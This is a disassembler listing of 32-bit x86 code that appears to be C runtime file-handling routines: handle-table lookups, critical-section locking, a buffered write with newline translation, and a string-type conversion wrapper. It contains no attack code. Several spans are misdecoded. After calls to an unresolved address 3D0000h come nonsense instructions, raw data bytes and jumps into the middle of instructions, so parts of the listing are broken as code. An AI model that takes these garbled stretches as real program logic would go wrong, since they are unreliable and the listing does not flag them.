		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_42D923
; ---------------------------------------------------------------------------


loc_42D90A:				; CODE XREF: seg000:0042D87Dj
					; seg000:0042D89Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42D923:				; CODE XREF: seg000:0042D908j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42D930:				; CODE XREF: sub_421530+69p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, ds:dword_4EEE20
		jnb	loc_42D9EB
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42D9EB
		mov	edx, [ebp+8]
		sar	edx, 5
		mov	eax, [ebp+8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_42D9EB
		cmp	ds:dword_44FD34, 1
		jnz	short near ptr loc_42D9C9+1
		mov	edx, [ebp+8]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42D9A8
		cmp	dword ptr [ebp-4], 1


loc_42D99E:				; CODE XREF: seg000:0042D9B1j
		jz	short loc_42D9B4
		cmp	dword ptr [ebp-4], 2
		jz	short near ptr loc_42D9BF+1
		jmp	short near ptr loc_42D9C9+1
; ---------------------------------------------------------------------------


loc_42D9A8:				; CODE XREF: seg000:0042D998j
		push	0
		push	0FFFFFFF6h
		call	near ptr 3D0000h
		jo	short loc_42D99E
		push	ss


loc_42D9B4:				; CODE XREF: seg000:loc_42D99Ej
		push	0
		push	0FFFFFFF5h
		call	near ptr 3D0000h
		mov	dl, 0EBh


loc_42D9BF:				; CODE XREF: seg000:0042D9A4j
		or	ch, [edx+0]
		push	0FFFFFFF4h
		call	near ptr 3D0000h


loc_42D9C9:				; CODE XREF: seg000:0042D98Cj
					; seg000:0042D9A6j
		sbb	cl, [ebx-73EF7BBh]
		add	eax, 83084D8Bh
		loope	near ptr loc_42D9F0+5
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42DA04
; ---------------------------------------------------------------------------


loc_42D9EB:				; CODE XREF: seg000:0042D93Dj
					; seg000:0042D963j ...
		call	sub_4267E0


loc_42D9F0:				; CODE XREF: seg000:0042D9D4j
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42DA04:				; CODE XREF: seg000:0042D9E9j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA10	proc near		; CODE XREF: sub_421530+9p
					; sub_421530+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_42DA5B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42DA5B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_42DA74
; ---------------------------------------------------------------------------


loc_42DA5B:				; CODE XREF: sub_42DA10+Cj
					; sub_42DA10+2Ej
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42DA74:				; CODE XREF: sub_42DA10+49j
		pop	ebp
		retn
sub_42DA10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_42DA9D
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl


loc_42DA9D:				; CODE XREF: seg000:0042DA92j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42DAB2
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al


loc_42DAB2:				; CODE XREF: seg000:0042DAA8j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42DAC8
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl


loc_42DAC8:				; CODE XREF: seg000:0042DABDj
		mov	eax, [ebp+8]
		push	eax
		call	near ptr 3D0000h
		adc	ecx, [ecx+7D83FC45h]
		cld
		add	[ebp+17h], dh
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42DB80
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_42DB03
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_42DB12
; ---------------------------------------------------------------------------


loc_42DB03:				; CODE XREF: seg000:0042DAF6j
		cmp	dword ptr [ebp-4], 3
		jnz	short loc_42DB12
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl


loc_42DB12:				; CODE XREF: seg000:0042DB01j
					; seg000:0042DB07j
		call	sub_42D680
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_42DB3B
		call	sub_4267E0
		mov	dword ptr [eax], 18h
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42DB80
; ---------------------------------------------------------------------------


loc_42DB3B:				; CODE XREF: seg000:0042DB1Ej
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	loc_42D870
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp-8]


loc_42DB80:				; CODE XREF: seg000:0042DAEDj
					; seg000:0042DB39j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB90	proc near		; CODE XREF: sub_4214B0+50p
					; sub_424040+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42DBF1
		push	11h
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42DBE7
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42DBE7:				; CODE XREF: sub_42DB90+39j
		push	11h
		call	sub_421B20
		add	esp, 4


loc_42DBF1:				; CODE XREF: sub_42DB90+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	ds:dword_4F1364	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_42DB90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC20	proc near		; CODE XREF: sub_4214B0+6Bp
					; sub_424040+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	ds:dword_4F1360	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_42DC20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC50	proc near		; CODE XREF: sub_4216D0+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_42DC81
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42DC94


loc_42DC81:				; CODE XREF: sub_42DC50+Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42DD1E
; ---------------------------------------------------------------------------


loc_42DC94:				; CODE XREF: sub_42DC50+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_42DCFD
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA10
		add	esp, 4
		push	eax
		call	near ptr 3D0000h
		pop	ds
		test	eax, eax
		jnz	short loc_42DCE4
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_42DCEB
; ---------------------------------------------------------------------------


loc_42DCE4:				; CODE XREF: sub_42DC50+87j
		mov	[ebp+var_4], 0


loc_42DCEB:				; CODE XREF: sub_42DC50+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_42DCF3
		jmp	short loc_42DD0F
; ---------------------------------------------------------------------------


loc_42DCF3:				; CODE XREF: sub_42DC50+9Fj
		call	sub_4267F0
		mov	edx, [ebp+var_4]
		mov	[eax], edx


loc_42DCFD:				; CODE XREF: sub_42DC50+70j
		call	sub_4267E0
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42DD0F:				; CODE XREF: sub_42DC50+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42DD1E:				; CODE XREF: sub_42DC50+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42DC50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD30	proc near		; CODE XREF: sub_421720+57p
					; sub_424A30+1C9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_42DD61
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42DD7C


loc_42DD61:				; CODE XREF: sub_42DD30+Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42DDAE
; ---------------------------------------------------------------------------


loc_42DD7C:				; CODE XREF: sub_42DD30+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DDC0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42DDAE:				; CODE XREF: sub_42DD30+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42DD30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DDC0	proc near		; CODE XREF: sub_42DD30+64p
					; sub_432CF0+145p

var_74DC8B40	= qword	ptr -74DC8B40h
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42DDE6
		xor	eax, eax
		jmp	loc_42E02F
; ---------------------------------------------------------------------------


loc_42DDE6:				; CODE XREF: sub_42DDC0+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42DE18
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B770
		add	esp, 0Ch


loc_42DE18:				; CODE XREF: sub_42DDC0+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_42DF4C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_42DE4D:				; CODE XREF: sub_42DDC0:loc_42DF45j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_42DF4A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax


loc_42DE65:				; CODE XREF: sub_42DDC0+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jge	short loc_42DED7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_42DED7
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_42DEC1
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42DEC1:				; CODE XREF: sub_42DDC0+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_42DE65
; ---------------------------------------------------------------------------


loc_42DED7:				; CODE XREF: sub_42DDC0+B6j
					; sub_42DDC0+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	near ptr 3D0000h
		fadd	[ebp+var_74DC8B40]
		dec	ebp
		lock add ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_42DF38
		jmp	short loc_42DF4A
; ---------------------------------------------------------------------------


loc_42DF38:				; CODE XREF: sub_42DDC0+174j
		jmp	short loc_42DF45
; ---------------------------------------------------------------------------
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax
		jmp	short loc_42DF4A
; ---------------------------------------------------------------------------


loc_42DF45:				; CODE XREF: sub_42DDC0:loc_42DF38j
		jmp	loc_42DE4D
; ---------------------------------------------------------------------------


loc_42DF4A:				; CODE XREF: sub_42DDC0+96j
					; sub_42DDC0+176j ...
		jmp	short loc_42DF9C
; ---------------------------------------------------------------------------


loc_42DF4C:				; CODE XREF: sub_42DDC0+7Aj
		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		call	near ptr 3D0000h
		movsd
		test	eax, eax
		jz	short loc_42DF93
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_42DF9C
; ---------------------------------------------------------------------------


loc_42DF93:				; CODE XREF: sub_42DDC0+1BFj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax


loc_42DF9C:				; CODE XREF: sub_42DDC0:loc_42DF4Aj
					; sub_42DDC0+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_42E026
		cmp	[ebp+var_C], 0
		jz	short loc_42DFDA
		cmp	[ebp+var_C], 5
		jnz	short loc_42DFC9
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_42DFD5
; ---------------------------------------------------------------------------


loc_42DFC9:				; CODE XREF: sub_42DDC0+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_426740
		add	esp, 4


loc_42DFD5:				; CODE XREF: sub_42DDC0+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E02F
; ---------------------------------------------------------------------------


loc_42DFDA:				; CODE XREF: sub_42DDC0+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42E00B
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_42E00B
		xor	eax, eax
		jmp	short loc_42E02F
; ---------------------------------------------------------------------------


loc_42E00B:				; CODE XREF: sub_42DDC0+23Aj
					; sub_42DDC0+245j
		call	sub_4267E0
		mov	dword ptr [eax], 1Ch
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E02F
; ---------------------------------------------------------------------------


loc_42E026:				; CODE XREF: sub_42DDC0+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420] ; CODE XREF:	seg000:0042E0A6j


loc_42E02F:				; CODE XREF: sub_42DDC0+21j
					; sub_42DDC0+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DDC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42E040:				; CODE XREF: sub_423D90+98p
					; sub_4262B0+ECp ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A600
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		cmp	ds:dword_4EEBB8, 0
		jnz	short loc_42E0BE
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		push	offset dword_43A2A8
		push	1
		call	ds:dword_4F12CC	; GetStringTypeW
		test	eax, eax
		jz	short loc_42E092
		mov	ds:dword_4EEBB8, 1
		jmp	short loc_42E0BE
; ---------------------------------------------------------------------------


loc_42E092:				; CODE XREF: seg000:0042E084j
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	1
		push	offset dword_43A2A4
		push	1
		push	0
		call	near ptr 3D0000h
		jb	short near ptr loc_42E029+4
		sal	byte ptr [esp+ecx-39h],	5
		mov	eax, 2004EEBh
; ---------------------------------------------------------------------------
		dw 0
		dd 3307EB00h, 12AE9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E0BE:				; CODE XREF: seg000:0042E06Dj
					; seg000:0042E090j
		cmp	ds:dword_4EEBB8, 2
		jnz	short near ptr loc_42E0F4+1
		cmp	dword ptr [ebp+1Ch], 0
		jnz	short loc_42E0D6
		mov	edx, ds:dword_4EEA70
		mov	[ebp+1Ch], edx


loc_42E0D6:				; CODE XREF: seg000:0042E0CBj
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp+1Ch]
		push	ecx
		call	near ptr 3D0000h
		cmp	cl, ch
		rep add	[eax], al


loc_42E0F4:				; CODE XREF: seg000:0042E0C5j
		add	[ebx+4EEBB83Dh], al
		add	[ecx], al
		jnz	loc_42E1E6
		cmp	dword ptr [ebp+18h], 0
		jnz	short loc_42E111
		mov	edx, ds:dword_4EEA80
		mov	[ebp+18h], edx


loc_42E111:				; CODE XREF: seg000:0042E106j
		push	0
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+20h]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_42E145
		xor	eax, eax
		jmp	loc_42E1E8
; ---------------------------------------------------------------------------


loc_42E145:				; CODE XREF: seg000:0042E13Cj
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-20h]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp-2Ch], esp
		mov	[ebp-18h], esp
		mov	ecx, [ebp-2Ch]
		mov	[ebp-24h], ecx
		mov	edx, [ebp-20h]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp-24h]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_42E19B
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_42E19B:				; CODE XREF: seg000:0042E182j
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_42E1A5
		xor	eax, eax
		jmp	short loc_42E1E8
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: seg000:0042E19Fj
		mov	ecx, [ebp-20h]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		push	1
		mov	edx, [ebp+18h]
		push	edx
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_42E1CE
		xor	eax, eax
		jmp	short loc_42E1E8
; ---------------------------------------------------------------------------


loc_42E1CE:				; CODE XREF: seg000:0042E1C8j
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp-28h]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_4F12CC	; GetStringTypeW
		jmp	short loc_42E1E8
; ---------------------------------------------------------------------------


loc_42E1E6:				; CODE XREF: seg000:0042E0FCj
		xor	eax, eax


loc_42E1E8:				; CODE XREF: seg000:0042E140j
					; seg000:0042E1A3j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E200	proc near		; CODE XREF: sub_423E50+A1p
					; sub_424A30+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42E207:				; CODE XREF: sub_42E200+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E22B
		push	offset dword_4394FC
		push	0
		push	2Eh
		push	offset dword_43A60C
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42E22B
		int	3		; Trap to Debugger


loc_42E22B:				; CODE XREF: sub_42E200+Bj
					; sub_42E200+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42E207
		mov	ecx, ds:dword_4EE9C8
		add	ecx, 1
		mov	ds:dword_4EE9C8, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_43A60C
		push	2
		push	1000h
		call	sub_41AE60
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_42E286
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_42E2AB
; ---------------------------------------------------------------------------


loc_42E286:				; CODE XREF: sub_42E200+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2


loc_42E2AB:				; CODE XREF: sub_42E200+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E200	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E310
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E310	proc near		; CODE XREF: sub_424520+2B0p
					; seg000:0042E303p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
